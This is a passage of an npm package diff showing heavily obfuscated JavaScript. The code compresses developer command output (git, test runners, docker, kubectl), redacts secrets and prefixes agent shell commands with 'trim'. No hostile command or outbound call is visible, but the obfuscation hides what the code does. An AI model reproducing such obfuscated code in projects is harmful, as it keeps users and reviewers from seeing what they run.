0pip','[code\x20skeleton]','filterPipInstall','./shell','trim\x20git','git\x20status','filterDockerImages','\x20tree\x20','npm\x20test','./git'];a0_0x17a0=function(){return _0x2e0c42;};return a0_0x17a0();}(function(_0x1c4c43,_0x3066ae){const _0x222ca7=a0_0x433f,_0x1719ad=_0x1c4c43();while(!![]){try{const _0x130c3a=parseInt(_0x222ca7(0x15f))/0x1*(-parseInt(_0x222ca7(0x156))/0x2)+-parseInt(_0x222ca7(0x14a))/0x3+parseInt(_0x222ca7(0x180))/0x4*(-parseInt(_0x222ca7(0x192))/0x5)+parseInt(_0x222ca7(0x193))/0x6+parseInt(_0x222ca7(0x14b))/0x7*(-parseInt(_0x222ca7(0x16c))/0x8)+-parseInt(_0x222ca7(0x171))/0x9*(parseInt(_0x222ca7(0x131))/0xa)+-parseInt(_0x222ca7(0x17d))/0xb*(-parseInt(_0x222ca7(0x16b))/0xc);if(_0x130c3a===_0x3066ae)break;else _0x1719ad['push'](_0x1719ad['shift']());}catch(_0x19ce99){_0x1719ad['push'](_0x1719ad['shift']());}}}(a0_0x17a0,0x438bd));Object[a0_0x35a65e(0x142)](exports,'__esModule',{'value':!![]}),exports[a0_0x35a65e(0x19f)]=exports[a0_0x35a65e(0x160)]=void 0x0,exports[a0_0x35a65e(0x155)]=compressOutput,exports[a0_0x35a65e(0x15e)]=rewriteCommand;const generic_1=require('./generic'),git_1=require(a0_0x35a65e(0x19e)),python_1=require(a0_0x35a65e(0x140)),js_1=require(a0_0x35a65e(0x184)),shell_1=require(a0_0x35a65e(0x198)),rust_1=require(a0_0x35a65e(0x16d)),go_1=require(a0_0x35a65e(0x170)),devops_1=require('./devops'),redactor_1=require(a0_0x35a65e(0x191)),tracker_1=require(a0_0x35a65e(0x137));exports['lastRedactAudit']={'secretsFound':0x0,'secretTypes':[]},exports[a0_0x35a65e(0x19f)]=[];function isFeatureEnabled(_0x14aa75){const _0x330b1d=a0_0x35a65e;try{const _0x5ef6d6=tracker_1[_0x330b1d(0x188)][_0x330b1d(0x162)](),_0x29ddb9=_0x5ef6d6[_0x330b1d(0x135)];if(!_0x29ddb9||_0x29ddb9[_0x14aa75]===undefined)return!![];return _0x29ddb9[_0x14aa75]!==![];}catch{return!![];}}function compressOutput(_0x3465a3,_0x2a297e,_0x60532c,_0x3ed1be=!![]){const _0x3476fa=a0_0x35a65e,_0x54769d=_0x3465a3['trim']();let _0x3157d8=_0x2a297e;_0x60532c[_0x3476fa(0x16f)]()[_0x3476fa(0x158)]>0x0&&(_0x3157d8=_0x2a297e+'\x0a'+_0x60532c);let _0x86af51=isFeatureEnabled(_0x3476fa(0x15a))?(0x0,generic_1[_0x3476fa(0x17a)])(_0x3157d8):_0x3157d8;const _0x5d1ae9=[];if(_0x86af51[_0x3476fa(0x158)]<_0x3157d8[_0x3476fa(0x158)])_0x5d1ae9[_0x3476fa(0x190)](_0x3476fa(0x15a));const _0x55fcbe=(_0x50435e,_0x15318c)=>{const _0xe487bf=_0x3476fa;return _0x5d1ae9['push'](_0x50435e),exports[_0xe487bf(0x19f)]=_0x5d1ae9,_0x15318c;};if(_0x3ed1be&&isFeatureEnabled('redact')){const _0x22911a=redactor_1[_0x3476fa(0x172)][_0x3476fa(0x14c)](_0x86af51);_0x86af51=_0x22911a[_0x3476fa(0x181)],exports[_0x3476fa(0x160)]={'secretsFound':_0x22911a[_0x3476fa(0x166)],'secretTypes':_0x22911a[_0x3476fa(0x176)]};if(_0x22911a[_0x3476fa(0x166)]>0x0)_0x5d1ae9['push'](_0x3476fa(0x17f));}else exports['lastRedactAudit']={'secretsFound':0x0,'secretTypes':[]};const _0x40dd85=_0x54769d[_0x3476fa(0x1a5)](),_0x5606a8=isFeatureEnabled(_0x3476fa(0x138));try{if(_0x5606a8){if(_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x19a))||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x17b)))return _0x55fcbe(_0x3476fa(0x138),(0x0,git_1[_0x3476fa(0x194)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)]('git\x20log')||_0x40dd85['includes'](_0x3476fa(0x13b)))return _0x55fcbe(_0x3476fa(0x138),(0x0,git_1['filterGitLog'])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x130))||_0x40dd85['includes'](_0x3476fa(0x174))||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x18b)))return _0x55fcbe(_0x3476fa(0x138),(0x0,git_1[_0x3476fa(0x164)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x13f))||_0x40dd85[_0x3476fa(0x1a9)](/python3?\s+-m\s+pytest/))return _0x55fcbe('filter',(0x0,python_1['filterPytest'])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x145))||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x18a)))return _0x55fcbe('filter',(0x0,python_1[_0x3476fa(0x197)])(_0x86af51));if(_0x40dd85['includes'](_0x3476fa(0x187))||_0x40dd85[_0x3476fa(0x132)]('ruff\x20'))return _0x55fcbe(_0x3476fa(0x138),(0x0,devops_1[_0x3476fa(0x133)])(_0x86af51));if(_0x40dd85['includes'](_0x3476fa(0x134))||_0x40dd85['includes'](_0x3476fa(0x15b))||_0x40dd85[_0x3476fa(0x149)](_0x3476fa(0x151))||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x1aa))||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x13e)))return _0x55fcbe(_0x3476fa(0x138),(0x0,js_1[_0x3476fa(0x148)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)]('jest')||_0x40dd85['includes'](_0x3476fa(0x13d)))return _0x55fcbe(_0x3476fa(0x138),(0x0,js_1[_0x3476fa(0x1a0)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x19d))||_0x40dd85[_0x3476fa(0x132)]('pnpm\x20test')||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x16e))||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x161)))return _0x55fcbe('filter',(0x0,js_1[_0x3476fa(0x1a0)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x189)))return _0x55fcbe(_0x3476fa(0x138),(0x0,rust_1[_0x3476fa(0x153)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x136))||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x141))||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x147)))return _0x55fcbe(_0x3476fa(0x138),(0x0,rust_1[_0x3476fa(0x139)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x17e)))return _0x55fcbe(_0x3476fa(0x138),(0x0,go_1[_0x3476fa(0x143)])(_0x86af51));if(_0x40dd85['includes'](_0x3476fa(0x177)))return _0x55fcbe(_0x3476fa(0x138),(0x0,go_1['filterGoVet'])(_0x86af51));if(_0x40dd85['match'](/docker\s+ps/))return _0x55fcbe(_0x3476fa(0x138),(0x0,devops_1[_0x3476fa(0x1a3)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x1a9)](/docker\s+images/))return _0x55fcbe(_0x3476fa(0x138),(0x0,devops_1[_0x3476fa(0x19b)])(_0x86af51));if(_0x40dd85['match'](/docker\s+logs/))return _0x55fcbe(_0x3476fa(0x138),(0x0,devops_1[_0x3476fa(0x14f)])(_0x86af51));if(_0x40dd85['includes'](_0x3476fa(0x14e))){const _0x5b01d=_0x40dd85[_0x3476fa(0x1a9)](/kubectl\s+(get|logs|describe|apply)/),_0x20c95f=_0x5b01d?_0x5b01d[0x1]:_0x3476fa(0x165);return _0x55fcbe(_0x3476fa(0x138),(0x0,devops_1[_0x3476fa(0x150)])(_0x86af51,_0x20c95f));}if(_0x40dd85[_0x3476fa(0x1a9)](/^(ls|dir)(\s|$)/)||_0x40dd85[_0x3476fa(0x132)]('\x20ls\x20')||_0x40dd85[_0x3476fa(0x149)](_0x3476fa(0x173)))return _0x55fcbe(_0x3476fa(0x138),(0x0,shell_1['filterLs'])(_0x86af51));if(_0x40dd85[_0x3476fa(0x1a9)](/^tree(\s|$)/)||_0x40dd85[_0x3476fa(0x132)](_0x3476fa(0x19c))||_0x40dd85['endsWith'](_0x3476fa(0x1a1)))return _0x55fcbe('filter',(0x0,shell_1[_0x3476fa(0x159)])(_0x86af51));if(_0x40dd85[_0x3476fa(0x1a9)](/^(cat|head|tail|read|bat)(\s|$)/)){const _0x120f04=(0x0,shell_1[_0x3476fa(0x154)])(_0x86af51,_0x54769d);if(_0x120f04[_0x3476fa(0x132)](_0x3476fa(0x1a6)))_0x5d1ae9[_0x3476fa(0x190)](_0x3476fa(0x14d));else{if(_0x120f04[_0x3476fa(0x132)](_0x3476fa(0x1a7))||_0x120f04[_0x3476fa(0x132)](_0x3476fa(0x1a4)))_0x5d1ae9[_0x3476fa(0x190)](_0x3476fa(0x178));else{if(_0x120f04[_0x3476fa(0x132)](_0x3476fa(0x196)))_0x5d1ae9[_0x3476fa(0x190)]('skeleton');else{if(_0x120f04['includes']('|\x20')&&_0x120f04[_0x3476fa(0x132)](_0x3476fa(0x13c))&&_0x120f04[_0x3476fa(0x158)]<_0x86af51[_0x3476fa(0x158)]*0.5)_0x5d1ae9[_0x3476fa(0x190)]('json_crusher');else{if(_0x120f04[_0x3476fa(0x132)](_0x3476fa(0x18f)))_0x5d1ae9['push']('filter');}}}}if(_0x120f04[_0x3476fa(0x158)]<_0x86af51[_0x3476fa(0x158)]&&!_0x5d1ae9['some'](_0x3a176c=>_0x3a176c!==_0x3476fa(0x15a)&&_0x3a176c!==_0x3476fa(0x17f)))_0x5d1ae9[_0x3476fa(0x190)](_0x3476fa(0x138));return exports[_0x3476fa(0x19f)]=_0x5d1ae9,_0x120f04;}if(_0x40dd85[_0x3476fa(0x1a9)](/^find(\s|$)/))return _0x55fcbe(_0x3476fa(0x138),(0x0,shell_1[_0x3476fa(0x16a)])(_0x86af51));if(_0x40dd85['match'](/^(grep|rg|ripgrep)(\s|$)/))return _0x55fcbe(_0x3476fa(0x138),(0x0,shell_1[_0x3476fa(0x168)])(_0x86af51));}}catch(_0x3d4a7d){}return isFeatureEnabled(_0x3476fa(0x175))&&(_0x86af51=(0x0,generic_1[_0x3476fa(0x18c)])(_0x86af51),_0x5d1ae9[_0x3476fa(0x190)]('whitespace')),_0x86af51=(0x0,generic_1[_0x3476fa(0x144)])(_0x86af51),_0x86af51=(0x0,generic_1[_0x3476fa(0x183)])(_0x86af51,0x4e20),exports[_0x3476fa(0x19f)]=_0x5d1ae9,_0x86af51;}function a0_0x433f(_0x251644,_0xd0bf91){const _0x17a066=a0_0x17a0();return a0_0x433f=function(_0x433fe2,_0x5caf00){_0x433fe2=_0x433fe2-0x130;let _0x37cd99=_0x17a066[_0x433fe2];return _0x37cd99;},a0_0x433f(_0x251644,_0xd0bf91);}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x35a65e(0x199)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x35a65e(0x146)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x35a65e(0x185)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x35a65e(0x179)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x35a65e(0x167)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x|test)(\s|$)/,'prefix':a0_0x35a65e(0x15d)},{'pattern':/^npx\s+/,'prefix':a0_0x35a65e(0x1a2)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x35a65e(0x152)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x35a65e(0x169)},{'pattern':/^ls(\s|$)/,'prefix':'trim\x20ls'},{'pattern':/^tree(\s|$)/,'prefix':a0_0x35a65e(0x15c)},{'pattern':/^find\s+/,'prefix':a0_0x35a65e(0x163)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':'trim\x20docker'},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x35a65e(0x18e)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x35a65e(0x13a)},{'pattern':/^ruff\s+(check|format)/,'prefix':a0_0x35a65e(0x1a8)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x35a65e(0x195)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x35a65e(0x18d)}];function rewriteCommand(_0x4aeee8){const _0x1b4eb1=a0_0x35a65e,_0x521519=_0x4aeee8[_0x1b4eb1(0x16f)]();if(_0x521519[_0x1b4eb1(0x186)](_0x1b4eb1(0x17c)))return _0x521519;for(const _0x594581 of REWRITE_RULES){if(_0x594581[_0x1b4eb1(0x157)][_0x1b4eb1(0x182)](_0x521519))return'trim\x20'+_0x521519;}return _0x521519;}
1
+ 'use strict';const a0_0x1c17bd=a0_0x453f;(function(_0x524eb1,_0x477f88){const _0x561872=a0_0x453f,_0x51284e=_0x524eb1();while(!![]){try{const _0x531bdc=-parseInt(_0x561872(0xac))/0x1+parseInt(_0x561872(0x85))/0x2*(-parseInt(_0x561872(0x86))/0x3)+parseInt(_0x561872(0x6b))/0x4+-parseInt(_0x561872(0xab))/0x5*(parseInt(_0x561872(0xc9))/0x6)+-parseInt(_0x561872(0x68))/0x7*(parseInt(_0x561872(0x72))/0x8)+parseInt(_0x561872(0xca))/0x9+parseInt(_0x561872(0x93))/0xa*(parseInt(_0x561872(0xb8))/0xb);if(_0x531bdc===_0x477f88)break;else _0x51284e['push'](_0x51284e['shift']());}catch(_0x1cdd37){_0x51284e['push'](_0x51284e['shift']());}}}(a0_0x4313,0xa5960));function a0_0x453f(_0x33983f,_0x1bcba1){const _0x4313af=a0_0x4313();return a0_0x453f=function(_0x453f35,_0x213bc1){_0x453f35=_0x453f35-0x66;let _0x50062b=_0x4313af[_0x453f35];return _0x50062b;},a0_0x453f(_0x33983f,_0x1bcba1);}Object[a0_0x1c17bd(0x74)](exports,a0_0x1c17bd(0x92),{'value':!![]}),exports[a0_0x1c17bd(0x7c)]=exports['lastRedactAudit']=void 0x0,exports[a0_0x1c17bd(0xc2)]=compressOutput,exports[a0_0x1c17bd(0x7a)]=rewriteCommand;const generic_1=require('./generic'),git_1=require(a0_0x1c17bd(0xa6)),python_1=require('./python'),js_1=require('./js'),shell_1=require('./shell'),rust_1=require(a0_0x1c17bd(0x77)),go_1=require(a0_0x1c17bd(0xb9)),devops_1=require(a0_0x1c17bd(0x81)),redactor_1=require('../redactor'),tracker_1=require('../tracker');exports[a0_0x1c17bd(0xb0)]={'secretsFound':0x0,'secretTypes':[]},exports['lastFeatures']=[];function isFeatureEnabled(_0x10a4bf){const _0x4bccaf=a0_0x1c17bd;try{const _0x3f6208=tracker_1[_0x4bccaf(0x8c)][_0x4bccaf(0xa3)](),_0x5d8d36=_0x3f6208[_0x4bccaf(0xbe)];if(!_0x5d8d36||_0x5d8d36[_0x10a4bf]===undefined)return!![];return _0x5d8d36[_0x10a4bf]!==![];}catch{return!![];}}function compressOutput(_0x28de3a,_0x4cb782,_0x363768,_0x7230d1=!![]){const _0x309d1d=a0_0x1c17bd,_0x1a7803=_0x28de3a[_0x309d1d(0xba)]();let _0x392708=_0x4cb782;_0x363768[_0x309d1d(0xba)]()[_0x309d1d(0x83)]>0x0&&(_0x392708=_0x4cb782+'\x0a'+_0x363768);let _0x48f571=isFeatureEnabled(_0x309d1d(0xc7))?(0x0,generic_1['stripAnsi'])(_0x392708):_0x392708;const _0xdff70=[];if(_0x48f571[_0x309d1d(0x83)]<_0x392708[_0x309d1d(0x83)])_0xdff70['push'](_0x309d1d(0xc7));const _0x1b6cbc=(_0x308238,_0x4e25f6)=>{const _0x2f8609=_0x309d1d;return _0xdff70[_0x2f8609(0x98)](_0x308238),exports[_0x2f8609(0x7c)]=_0xdff70,_0x4e25f6;};if(_0x7230d1&&isFeatureEnabled('redact')){const _0x303595=redactor_1['redactor'][_0x309d1d(0xa9)](_0x48f571);_0x48f571=_0x303595[_0x309d1d(0x7d)],exports[_0x309d1d(0xb0)]={'secretsFound':_0x303595[_0x309d1d(0x97)],'secretTypes':_0x303595[_0x309d1d(0x82)]};if(_0x303595[_0x309d1d(0x97)]>0x0)_0xdff70[_0x309d1d(0x98)](_0x309d1d(0x91));}else exports[_0x309d1d(0xb0)]={'secretsFound':0x0,'secretTypes':[]};const _0x25abd0=_0x1a7803[_0x309d1d(0xa7)](),_0x15cb38=isFeatureEnabled(_0x309d1d(0xb1));try{if(_0x15cb38){if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x67))||_0x25abd0[_0x309d1d(0x80)]('yadm\x20status'))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,git_1[_0x309d1d(0x7f)])(_0x48f571));if(_0x25abd0['includes']('git\x20log')||_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0xbb)))return _0x1b6cbc('filter',(0x0,git_1[_0x309d1d(0x7b)])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)]('git\x20diff')||_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0xbc))||_0x25abd0['includes']('yadm\x20diff'))return _0x1b6cbc('filter',(0x0,git_1[_0x309d1d(0x71)])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x99))||_0x25abd0[_0x309d1d(0xb7)](/python3?\s+-m\s+pytest/))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,python_1[_0x309d1d(0x87)])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0xc3))||_0x25abd0[_0x309d1d(0x80)]('pip3\x20install'))return _0x1b6cbc('filter',(0x0,python_1['filterPipInstall'])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0xaf))||_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0xbd)))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,devops_1[_0x309d1d(0xae)])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x9e))||_0x25abd0[_0x309d1d(0x80)]('npm\x20i\x20')||_0x25abd0['endsWith'](_0x309d1d(0x9d))||_0x25abd0[_0x309d1d(0x80)]('pnpm\x20install')||_0x25abd0['includes'](_0x309d1d(0xcb)))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,js_1['filterNpmInstall'])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)]('jest')||_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0xbf)))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,js_1['filterJestVitest'])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0xc4))||_0x25abd0['includes'](_0x309d1d(0xad))||_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x94))||_0x25abd0['includes'](_0x309d1d(0x9f)))return _0x1b6cbc('filter',(0x0,js_1[_0x309d1d(0xb5)])(_0x48f571));if(_0x25abd0['includes'](_0x309d1d(0x84)))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,rust_1[_0x309d1d(0x70)])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x9a))||_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x9b))||_0x25abd0[_0x309d1d(0x80)]('cargo\x20clippy'))return _0x1b6cbc('filter',(0x0,rust_1[_0x309d1d(0x6a)])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x90)))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,go_1[_0x309d1d(0x8e)])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x8f)))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,go_1['filterGoVet'])(_0x48f571));if(_0x25abd0[_0x309d1d(0xb7)](/docker\s+ps/))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,devops_1[_0x309d1d(0xa8)])(_0x48f571));if(_0x25abd0[_0x309d1d(0xb7)](/docker\s+images/))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,devops_1[_0x309d1d(0x76)])(_0x48f571));if(_0x25abd0['match'](/docker\s+logs/))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,devops_1[_0x309d1d(0x7e)])(_0x48f571));if(_0x25abd0[_0x309d1d(0x80)]('kubectl')){const _0x3fdf5b=_0x25abd0[_0x309d1d(0xb7)](/kubectl\s+(get|logs|describe|apply)/),_0x543204=_0x3fdf5b?_0x3fdf5b[0x1]:_0x309d1d(0xa4);return _0x1b6cbc(_0x309d1d(0xb1),(0x0,devops_1[_0x309d1d(0xa1)])(_0x48f571,_0x543204));}if(_0x25abd0[_0x309d1d(0xb7)](/^(ls|dir)(\s|$)/)||_0x25abd0['includes'](_0x309d1d(0xa0))||_0x25abd0['endsWith']('\x20ls'))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,shell_1['filterLs'])(_0x48f571));if(_0x25abd0['match'](/^tree(\s|$)/)||_0x25abd0[_0x309d1d(0x80)](_0x309d1d(0x8d))||_0x25abd0['endsWith'](_0x309d1d(0xaa)))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,shell_1[_0x309d1d(0x6e)])(_0x48f571));if(_0x25abd0[_0x309d1d(0xb7)](/^(cat|head|tail|read|bat)(\s|$)/)){const _0x3a6ab6=(0x0,shell_1[_0x309d1d(0x96)])(_0x48f571,_0x1a7803);if(_0x3a6ab6[_0x309d1d(0x80)](_0x309d1d(0x78)))_0xdff70[_0x309d1d(0x98)](_0x309d1d(0x6c));else{if(_0x3a6ab6['includes'](_0x309d1d(0xc8))||_0x3a6ab6[_0x309d1d(0x80)](_0x309d1d(0xa2)))_0xdff70[_0x309d1d(0x98)](_0x309d1d(0x6d));else{if(_0x3a6ab6[_0x309d1d(0x80)](_0x309d1d(0x6f)))_0xdff70[_0x309d1d(0x98)]('skeleton');else{if(_0x3a6ab6[_0x309d1d(0x80)]('|\x20')&&_0x3a6ab6['includes'](_0x309d1d(0xb6))&&_0x3a6ab6[_0x309d1d(0x83)]<_0x48f571[_0x309d1d(0x83)]*0.5)_0xdff70['push']('json_crusher');else{if(_0x3a6ab6['includes']('lines\x20truncated'))_0xdff70[_0x309d1d(0x98)](_0x309d1d(0xb1));}}}}if(_0x3a6ab6[_0x309d1d(0x83)]<_0x48f571[_0x309d1d(0x83)]&&!_0xdff70[_0x309d1d(0xc5)](_0x22c7dc=>_0x22c7dc!=='ansi_strip'&&_0x22c7dc!==_0x309d1d(0x91)))_0xdff70[_0x309d1d(0x98)](_0x309d1d(0xb1));return exports[_0x309d1d(0x7c)]=_0xdff70,_0x3a6ab6;}if(_0x25abd0[_0x309d1d(0xb7)](/^find(\s|$)/))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,shell_1['filterFind'])(_0x48f571));if(_0x25abd0[_0x309d1d(0xb7)](/^(grep|rg|ripgrep)(\s|$)/))return _0x1b6cbc(_0x309d1d(0xb1),(0x0,shell_1['filterGrep'])(_0x48f571));}}catch(_0x114a01){}return isFeatureEnabled(_0x309d1d(0x88))&&(_0x48f571=(0x0,generic_1[_0x309d1d(0xc6)])(_0x48f571),_0xdff70[_0x309d1d(0x98)]('whitespace')),_0x48f571=(0x0,generic_1[_0x309d1d(0xb4)])(_0x48f571),_0x48f571=(0x0,generic_1['softTruncate'])(_0x48f571,0x4e20),exports[_0x309d1d(0x7c)]=_0xdff70,_0x48f571;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x1c17bd(0x8b)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':'trim\x20gh'},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x1c17bd(0xb3)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':'trim\x20cargo'},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x1c17bd(0x89)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x|test)(\s|$)/,'prefix':a0_0x1c17bd(0x69)},{'pattern':/^npx\s+/,'prefix':'trim\x20npx'},{'pattern':/^(cat|head|tail)\s+/,'prefix':'trim\x20read'},{'pattern':/^(rg|grep)\s+/,'prefix':'trim\x20grep'},{'pattern':/^ls(\s|$)/,'prefix':a0_0x1c17bd(0xc1)},{'pattern':/^tree(\s|$)/,'prefix':a0_0x1c17bd(0x73)},{'pattern':/^find\s+/,'prefix':a0_0x1c17bd(0x8a)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x1c17bd(0x79)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':'trim\x20kubectl'},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x1c17bd(0xa5)},{'pattern':/^ruff\s+(check|format)/,'prefix':a0_0x1c17bd(0xc0)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x1c17bd(0x75)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x1c17bd(0x66)}];function a0_0x4313(){const _0x4694c2=['filterCargoBuild','3427612EyDSUV','lock','binary','filterTree','[code\x20skeleton]','filterCargoTest','filterGitDiff','1412744ZxsHOS','trim\x20tree','defineProperty','trim\x20pip','filterDockerImages','./rust','[lock\x20file]','trim\x20docker','rewriteCommand','filterGitLog','lastFeatures','text','filterDockerLogs','filterGitStatus','includes','./devops','secretTypes','length','cargo\x20test','12486UReKYX','75CIDByl','filterPytest','whitespace','trim\x20pnpm','trim\x20find','trim\x20git','tracker','\x20tree\x20','filterGoTest','go\x20vet','go\x20test','redact','__esModule','5312680lquFSP','yarn\x20test','startsWith','filterCat','secretsFound','push','pytest','cargo\x20build','cargo\x20check','trim\x20','npm\x20i','npm\x20install','npm\x20run\x20test','\x20ls\x20','filterKubectl','[minified\x20file]','getConfig','get','trim\x20pytest','./git','toLowerCase','filterDockerPs','redactWithAudit','\x20tree','790910nOyJgG','55299eVyfBL','pnpm\x20test','filterRuff','ruff\x20check','lastRedactAudit','filter','pattern','trim\x20glab','collapseDuplicates','filterJestVitest','---','match','11cnCHlh','./go','trim','yadm\x20log','git\x20show','ruff\x20','features_enabled','vitest','trim\x20ruff','trim\x20ls','compressOutput','pip\x20install','npm\x20test','some','collapseWhitespace','ansi_strip','[binary','42liVHgo','8657127Ayoema','yarn\x20install','trim\x20go','git\x20status','14ZBXSxP','trim\x20npm'];a0_0x4313=function(){return _0x4694c2;};return a0_0x4313();}function rewriteCommand(_0x3c9196){const _0x5c7db6=a0_0x1c17bd,_0x398bfc=_0x3c9196[_0x5c7db6(0xba)]();if(_0x398bfc[_0x5c7db6(0x95)](_0x5c7db6(0x9c)))return _0x398bfc;for(const _0x81d6f7 of REWRITE_RULES){if(_0x81d6f7[_0x5c7db6(0xb2)]['test'](_0x398bfc))return'trim\x20'+_0x398bfc;}return _0x398bfc;}
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x466483=a0_0x3dd5;function a0_0x3dd5(_0x5e3b6a,_0x36b860){const _0x1712db=a0_0x1712();return a0_0x3dd5=function(_0x3dd5f6,_0x2c10e0){_0x3dd5f6=_0x3dd5f6-0x171;let _0x5bc9b7=_0x1712db[_0x3dd5f6];return _0x5bc9b7;},a0_0x3dd5(_0x5e3b6a,_0x36b860);}(function(_0x3086a7,_0x548804){const _0x4a2577=a0_0x3dd5,_0x5a5155=_0x3086a7();while(!![]){try{const _0x24fc51=-parseInt(_0x4a2577(0x193))/0x1+parseInt(_0x4a2577(0x171))/0x2*(parseInt(_0x4a2577(0x172))/0x3)+parseInt(_0x4a2577(0x180))/0x4+parseInt(_0x4a2577(0x188))/0x5*(parseInt(_0x4a2577(0x17c))/0x6)+parseInt(_0x4a2577(0x182))/0x7*(-parseInt(_0x4a2577(0x191))/0x8)+parseInt(_0x4a2577(0x18b))/0x9+-parseInt(_0x4a2577(0x197))/0xa*(parseInt(_0x4a2577(0x17e))/0xb);if(_0x24fc51===_0x548804)break;else _0x5a5155['push'](_0x5a5155['shift']());}catch(_0xd1f715){_0x5a5155['push'](_0x5a5155['shift']());}}}(a0_0x1712,0x663f5));Object[a0_0x466483(0x192)](exports,a0_0x466483(0x178),{'value':!![]}),exports[a0_0x466483(0x17a)]=filterNpmInstall,exports[a0_0x466483(0x195)]=filterJestVitest;function a0_0x1712(){const _0x15bc6a=['9110OFoOFY','Test\x20Runner:\x20','12nntDoO','50352XPoWZr','PASS','\x0aFailures:','\x20passed','\x20lines\x20of\x20trace\x20details\x20truncated)','\x20total)','__esModule','Test\x20Suites:','filterNpmInstall','\x20\x20...\x20(','4490634HLnsFy','join','4411qedLyS','length','426420ZBEVHk','FAIL\x20\x20','371eGzmwn','match','push','\x20passed,\x20','startsWith','added\x20','5hXzkzp','up\x20to\x20date','removed\x20','5887368vnwboY','all','includes','FAIL','trim','NPM:\x20Packages\x20verified/installed\x20successfully','94376xiAsWZ','defineProperty','200543ZDGQWj','Tests:','filterJestVitest','replace'];a0_0x1712=function(){return _0x15bc6a;};return a0_0x1712();}function filterNpmInstall(_0x5aa3ce){const 